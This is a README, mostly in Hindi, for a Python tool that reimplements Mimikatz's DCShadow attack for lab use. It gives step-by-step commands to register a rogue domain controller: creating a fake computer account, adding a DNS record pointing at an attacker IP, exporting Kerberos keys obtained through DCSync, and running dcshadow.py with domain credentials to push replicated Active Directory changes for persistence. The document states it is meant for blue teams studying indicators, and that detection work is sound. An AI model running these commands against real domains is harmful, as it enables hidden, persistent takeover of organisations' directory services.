
Python alternative to Mimikatz lsadump::dcshadow
[!WARNING] इसे PRODUCTION में न चलाएँ। यह लैब परीक्षण के लिए है, ताकि blue teams IoCs, event types और व्यवहार की पहचान करने पर काम कर सकें। साथ ही, यह टूल "जैसा है वैसा" (as-is) प्रदान किया गया है। आपके द्वारा बनाए जा सकने वाले pull requests पर मानक समीक्षा के अलावा किसी सहायता की योजना नहीं है। इसे Windows होस्ट से न चलाएँ। इसे linux से या VM से चलाएँ (RPC services संघर्षों से बचने के लिए)।
यह प्रोजेक्ट Mimikatz की dcshadow तकनीक का pure-python विकल्प होने के लिए है। इसमें अन्य चीजों के साथ एक कस्टम Impacket शामिल है जिसमें crypto, gssapi और drsuapi संशोधित हैं।
DCShadow एक शक्तिशाली persistence तकनीक है जिसे अन्य तकनीकों जैसे SID history, KRBTGT RBCD, ACE abuse आदि के लिए परिवहन माना जा सकता है।
यह टूल अधिक बहुमुखी AD persistence फ्रेमवर्क की नींव हो सकता है, जिसका उपयोग हमारा समुदाय इस मामले में अपनी वैश्विक परिपक्वता बढ़ाने के लिए कर सकता है।
इस टूल का परीक्षण GOAD पर किया गया था।
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
यह मशीन प्रतिकृति (replication) की अवधि के लिए एक domain controller के रूप में पंजीकृत होगी, और अंत में unregister कर दी जाएगी।
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py को
msDS-SupportedEncryptionTypesको0x1fपर सेट करने के लिए संशोधित किया गया है। नवीनतम परीक्षण एक constraint violation उठाते प्रतीत होते हैं।[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}अभी के लिए, Impacket से नियमित addcomputer.py स्क्रिप्ट का उपयोग करें, और
msDS-SupportedEncryptionTypesको ADSI edit के माध्यम से मैन्युअल रूप से संशोधित करें।
यह आवश्यक है ताकि legit DC को पता चले कि rogue DC तक कैसे पहुँचें और ERROR_DS_DNS_LOOKUP_FAILURE त्रुटियों से बचें।
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] यदि कमांड किसी कारण से काम नहीं करती है, तो domain controller पर DNS टूल्स के माध्यम से DNS प्रविष्टि को मैन्युअल रूप से जोड़ें।
जब हमने इस टूल को विकसित करना शुरू किया था, तो हम .env फ़ाइल में hardcoded क्रेडेंशियल्स का उपयोग कर रहे थे, जो dcshadow/utils/server/RpcServer.py फ़ाइल में gss_kerberos_ap_req फ़ंक्शन में लोड किए गए थे।
इसे स्पष्ट रूप से उन्नत करने की आवश्यकता है। rogue DC अकाउंट का पासवर्ड CLI तर्क के रूप में पारित किया जा सकता है और kerberos कुंजियों की गणना की जा सकती है। Krbrelayx पहले से ही ऐसा करता है, dacledit.py भी, इसे copy-paste करने की आवश्यकता है।
अभी के लिए आपको Kerberos कुंजियों को environment variables के रूप में export करने की आवश्यकता है।
यह कुछ इस प्रकार दिखना चाहिए:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
वे कुंजियाँ DCSync हमले के माध्यम से प्राप्त की जा सकती हैं।
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] इस मामले में, लक्षित objects और attributes निर्दिष्ट करने के लिए एक
repl.jsonफ़ाइल का उपयोग किया जाता है। वैकल्पिक रूप से, टूल इनलाइन विकल्पों का समर्थन करता है (जैसे,--object,--attribute, और--value)।
यदि DRSReplicaAdd समय समाप्त (timeout) हो जाता है, तो यह संभवतः dcshadow.py (rogue DC) चलाने वाली मशीन पर networking/firewall समस्या है, जो संभवतः 135/TCP (epmapper) और 1337/TCP (या भविष्य में लागू किए जाने पर drsuapi के लिए गतिशील पोर्ट) पर आने वाले ट्रैफ़िक की अनुमति नहीं दे रही है।
आपको legit domain controller पर Wireshark चलाने की आवश्यकता होगी, लेकिन सबसे संभावित मूल कारण यह है कि आप इसे Windows मशीन पर चलाने का प्रयास कर रहे हैं, जिसका अर्थ है कि जब legit DC आपके rogue DC के epmapper से drsuapi endpoint का पोर्ट पूछता है, तो उत्तर खाली होता है क्योंकि यह आपके स्वयं के Windows मशीन का epmapper है जो प्रतिक्रिया दे रहा है, न कि हमारा कस्टम epmapper।
यह प्रोजेक्ट Alessandro Iandoli "MrAle98" की अपार सहायता के बिना संभव नहीं होता, जो विकास के दौरान मिले एक प्रतिभाशाली शोधकर्ता हैं। धन्यवाद Alessandro!
श्रेय Benjamin Delpy और Vincent Letoux को जाता है, प्रारंभिक खोज, वार्ताओं और Mimikatz में कार्यान्वयन के लिए।
मैं Volker को भी धन्यवाद देना चाहूँगा, जिन्होंने प्रारंभिक विकास में भाग लिया।
Dramelac को धन्यवाद, PoC से मॉड्यूलर प्रोजेक्ट की ओर बढ़ने में मदद के लिए, जो भविष्य के फ्रेमवर्क की नींव है, यदि वह कभी वहाँ पहुँचता है।